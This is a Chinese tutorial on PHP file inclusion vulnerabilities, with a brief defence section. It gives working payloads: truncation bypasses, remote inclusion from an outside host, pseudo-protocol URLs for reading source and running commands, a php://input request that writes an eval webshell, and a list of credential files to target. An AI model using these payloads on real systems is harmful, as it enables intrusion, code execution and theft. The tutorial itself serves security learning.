文件包含漏洞
目录
前言
个人观点,若有误请指教
漏洞起因
- 开发人员通常会把可重复使用的函数写到单个文件中,在需要使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
- 程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量(可以将包含的文件写死),用来进行动态调用。但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。
- 任何语言编写的网页后端代码都是可能存在文件包含漏洞的,这里以PHP进行讲解。
漏洞挖掘
- 公开漏洞
- 漏洞扫描工具
- 自己看传递参数及功能
①参数:
查看参数名是否类似于 file等名称;
查看参数值是否类似于【文件名.后缀名】 或 【文件名】;
②功能:
判断实现该功能是否需要传递【文件名.后缀名】 或 【文件名】
漏洞函数
-
include:
①发生错误时只给出一个警告,继续向下执行。
②当使用该函数包含文件时,只有代码执行到include函数时才将文件包含进来。 -
include_once:功能和include相同,区别在于当重复调用同一文件时,程序只调用一次。
-
require:
①require执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
②只要程序一执行,立即调用文件。而include只有程序执行到该函数时才调用。 -
require_once:功能与require相同,区别在于当重复调用同一文件时,程序只调用一次。
-
测试1:
//index.php
<?php
include ("12.txt");
include_once('34.txt');
require('56.txt');
require_once('78.txt');
include('12.txt');
include_once('34.txt');
require('56.txt');
require_once('78.txt');
?>
//下面的<?php ?>不可以省略。要不然只会输出语句,而不会将语句以php代码执行。
//12.txt
<?php
echo 'include';
echo "<br/>";
?>
//34.txt
<?php
echo 'include_once';
echo "<br/>";
?>
//56.txt
<?php
echo 'require';
echo "<br/>";
?>
//78.txt
<?php
echo ' require_once';
echo "<br/>";
?>
执行结果:
- 测试2:
//index.php
<?php
include ("12.txt");
include_once('34.txt');
require('56.txt');
require_once('78.txt');
include('12.txt');
include_once('34.txt');
require('56.txt');
require_once('78.txt');
?>
//12.txt
echo 'include';
echo "<br/>";
//34.txt
echo 'include_once';
echo "<br/>";
//56.txt
echo 'require';
echo "<br/>";
//78.txt
echo ' require_once';
echo "<br/>";
执行结果:
- 测试3:
//index.php
<?php
echo "123";
include ("12.txt");
echo "<br/>";
require('56.txt');
echo "123";
?>
//56.txt
<?php
echo 'require';
echo "<br/>";
?>
//将12.txt删掉
执行结果:
- 测试4:
//index.php
<?php
echo "123";
require('56.txt');
echo "<br/>";
include ("12.txt");
echo "123";
?>
//12.txt
<?php
echo 'include';
echo "<br/>";
?>
//删掉56.txt
执行结果:
漏洞分类
本地包含
- 顾名思义,就是包含网站所在服务器上存在的文件!
- 该本地包含有个问题就是:若服务器没有存在可以进行利用的文件,那么那怕存在漏洞(漏洞函数加可控参数)也无法进行有效的利用。
- 本地包含一般是结合文件上传漏洞使用的。通常来说,文件上传都有些限制(文件后缀名的固定)。所以在这样的情况下,我们就可以上传一些合法的文件但里面包含恶意的代码(如txt文件),再通过本地包含将其包含起来以特定的脚本文件进行执行。
无限制
//index.php
<?php
$filename = $_GET['filename'];
include ($filename);
echo "<br/>";
?>
//12.txt
<?php
echo 'include';
echo "<br/>";
?>
-
包含文件在当前目录下
访问格式:http://lyss/?filename=12.txt
-
包含文件不在当前目录下
../
为返回上一级
访问格式:http://lyss/?filename=../
12.txt
有限制
//index.php
<?php
$filename = $_GET['filename'];
include ($filename.'.html');
echo "<br/>";
?>
//12.txt
<?php
echo 'include';
echo "<br/>";
?>
注:包含文件在不在项目目录下的包含操作(通过../
)与有限制的一致,就不再演示了。一般有限制的本地文件包含都是固定后缀!
- 绕过
①%00截断
条件:magic_quotes_gpc=off & php版本<5.3.29
访问格式:http://lyss/?filename=12.txt%00
注1:本人使用了5.3.29版本也不行。
注2:magic_quotes_gpc为on状态时%00前会被自动加上一个反斜杠转义
②长度截断
截断的字符可以是.和/.
条件:文件名(含截断字符)最起码到达该操作系统的最长文件名长度 & php版本小于5.2.8
Windows下文件名最大长度为256字节,超出的部分会被丢弃;
Linux下文件名最大长度为4096字节,超出的部分会被丢弃。
访问格式:
http://lyss/?filename=12.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
http://lyss/?filename=12.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
尝试许久,该绕过在本人电脑无法成功!🤡
远程包含
- 使用远程包含的前提:
allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许包含远程文件
注:看不太明白,就别管allow_url_fopen和allow_url_include是用来的干嘛的,那不重要。
//index.php(这是网站默认打开的网页)
<?php
$filename = $_GET['filename'];
include ($filename);
?>
//12.txt
<?php
phpinfo();
?>
- 测试在Off条件下是否可以进行访问远程文件:
- 测试在On条件下是否可以进行访问远程文件:
无限制
- 访问格式:http://lyss/?filename=http://ttt/12.txt
//index.php(这是网站默认打开的网页)
<?php
$filename = $_GET['filename'];
include ($filename);
?>
//12.txt
<?php
phpinfo();
?>
有限制
//index.php(这是网站默认打开的网页)
<?php
$filename = $_GET['filename'];
include ($filename.'.html');
?>
//12.txt
<?php
phpinfo();
?>
- 访问格式(直接访问):http://lyss/?filename=http://ttt/12.txt
- 绕过
①?绕过
访问格式:http://lyss/?filename=http://ttt/12.txt?
②%23(#)绕过
访问格式:http://lyss/?filename=http://ttt/12.txt%23
③%00截断
条件:magic_quotes_gpc=off & php版本<5.3.29
注1:本人使用了5.3.29版本也不行。
注2:如何知道该url编码行不行–》查看此处
伪协议
- 常用协议
- 代码
//index.php
<?php
$filename = $_GET['filename'];
include ($filename);
?>
//12.txt
<?php
phpinfo();
?>
file://
- 用于访问本地文件系统。
- 条件:无,不受allow_url_fopen和allow_url_include是否开启的影响。
- 访问格式(必须以以绝对路径访问):
Windows–> http://lyss/?filename=file://C:\Users\admin\Desktop\html\12.txt
Linux–> http://lyss?file=file:///etc/passwd (这个也为绝对路径,但没测试过。) - 结果(Windows):
注:常见敏感文件路径
php://
- 用于访问各种输入/输出流
- 常用的有:php://filter 和 php://input
php://filter
- 用于读取文件源码。(file://是访问,即将源码当成php代码执行之后显示。)
- 条件: 无,不受allow_url_fopen和allow_url_include是否开启的影响。
- 访问格式(绝对路径和相对路径都可以):
//以base64编码读取文件(以绝对路径读取)
http://lyss/?filename=php://filter/read=convert.base64-encode/resource=C:\Users\admin\Desktop\html\12.txt
//以base64编码读取文件(以相对路径读取)
http://lyss/?filename=php://filter/read=convert.base64-encode/resource=12.txt
http://lyss/?filename=php://filter/read=convert.base64-encode/resource=./12.txt
http://lyss/?filename=php://filter/convert.base64-encode/resource=12.txt
注:若不以base64编码读取文件,经测试是执行文件,而不是读取文件。 - 结果(以相对路径):
php://input
-
用于执行php代码
-
条件:有,需要allow_url_include = On。(不受allow_url_fopen的影响)
-
用法:php://input + [POST DATA]
-
访问格式:
//查询php版本及配置
http://lyss?filename=php://input
[POST DATA部分]
<?php phpinfo(); ?>
//命令执行(这里以dir为例)
http://lyss?filename=php://input
[POST DATA部分]
<?php system("dir"); ?> 或 <?php system(dir); ?>
//写入一句话木马
http://lyss?filename=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>
注:这里只是以hackbar给出格式,由于本人下载的hackbar版本提交post数据时需要以键值对提交,要不然无响应。所以在下面给出结果时,以Burp suite进行操作。 -
结果:
//查询php版本及配置
//命令执行(这里以dir为例)
//写入一句话木马
zip://
- 用于访问压缩文件中的文件。
注:压缩文件可以是任意文件的后缀名,不影响使用。如将xxx.zip改成xxx.jpg文件,还是可以使用该协议来访问压缩包内的文件。 - 条件:无,不受allow_url_fopen和allow_url_include是否开启的影响。
- 访问格式(相对路径和绝对路径都可以):
http://lyss?filename=zip://C:\Users\admin\Desktop\html\12.jpg%2312.txt
http://lyss?filename=zip://12.jpg%2312.txt
注:12.jpg是由12.txt压缩之后、修改其压缩文件的后缀名的文件。 - 结果(绝对路径):
compress.bzip2://
- 用于访问压缩文件(不知道有什么用😅)。
注:压缩文件可以是任意文件的后缀名,不影响使用。如将xxx.zip改成xxx.jpg文件,还是可以使用该协议来访问压缩包。 - 条件:无,不受allow_url_fopen和allow_url_include是否开启的影响。
- 访问格式(相对路径和绝对路径都可以):
http://lyss?filename=compress.zlib://12.jpg
http://lyss?filename=compress.zlib://C:\Users\admin\Desktop\html\12.jpg - 结果(相对路径):
compress.zlib://
- 用于访问压缩文件(不知道有什么用😅)。
注:压缩文件可以是任意文件的后缀名,不影响使用。如将xxx.zip改成xxx.jpg文件,还是可以使用该协议来访问压缩包。 - 条件:无,不受allow_url_fopen和allow_url_include是否开启的影响。
- 访问格式(相对路径和绝对路径都可以):
http://lyss?filename=compress.zlib://12.jpg
http://lyss?filename=compress.zlib://C:\Users\admin\Desktop\html\12.jpg - 结果(相对路径):
phar://
- 用于访问压缩文件中的文件。
注:压缩文件可以是任意文件的后缀名,不影响使用。如将xxx.zip改成xxx.jpg文件,还是可以使用该协议来访问压缩包内的文件。 - 条件:php 版本>=5.3.0,不受allow_url_fopen和allow_url_include是否开启的影响。
- 访问格式(相对路径和绝对路径都可以):
http://lyss?filename=phar://12.jpg\12.txt
http://lyss?filename=phar://C:\Users\admin\Desktop\html\12.jpg\12.txt
注:12.jpg是由12.txt压缩之后、修改其压缩文件的后缀名的文件。 - 结果(相对路径):
data://
- 传递相应格式的数据,用于执行PHP代码。
- 条件:有,allow_url_fopen和allow_url_include必须都为On。
- 访问格式:
http://lyss?filename=data://text/plain,<?php%20phpinfo();?>
http://lyss?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://lyss?filename=data:text/plain,<?php phpinfo()?>
http://lyss?filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= - 结果:
http://、https://
- 用于访问远程文件(远程包含)。
- 条件:allow_url_fopen和allow_url_include都需要开启。
- 访问格式:http://lyss?filename=http://ttt/12.txt
- 结果:
漏洞防护
- 固定后缀
只传参文件名、不需要文件后缀名。 - 固定文件
不需要传参文件名,需要的文件名及其后缀名已在代码中写死。 - WAF产品
总结
- 常见特殊字符的URL编码:
可以使用Burp suite进行遍历,看那个可以实现截断。
-
常见的敏感信息路径
①Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
②Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件 -
一句话木马和System语句的参数可加引号也可不加引号。
//一句话(其实通过get、post、request等获得数据的都一样的,引号可加可不加)
<?php @eval($_POST['caidao']);?>
<?php @eval($_POST[caidao]);?>
//System
system(dir);
system('dir');
- 在windows系统中
../
和./
都代表返回上一级目录。 - 从上面列举的伪协议可以看出,伪协议基本上是针对目的服务器已有的文件!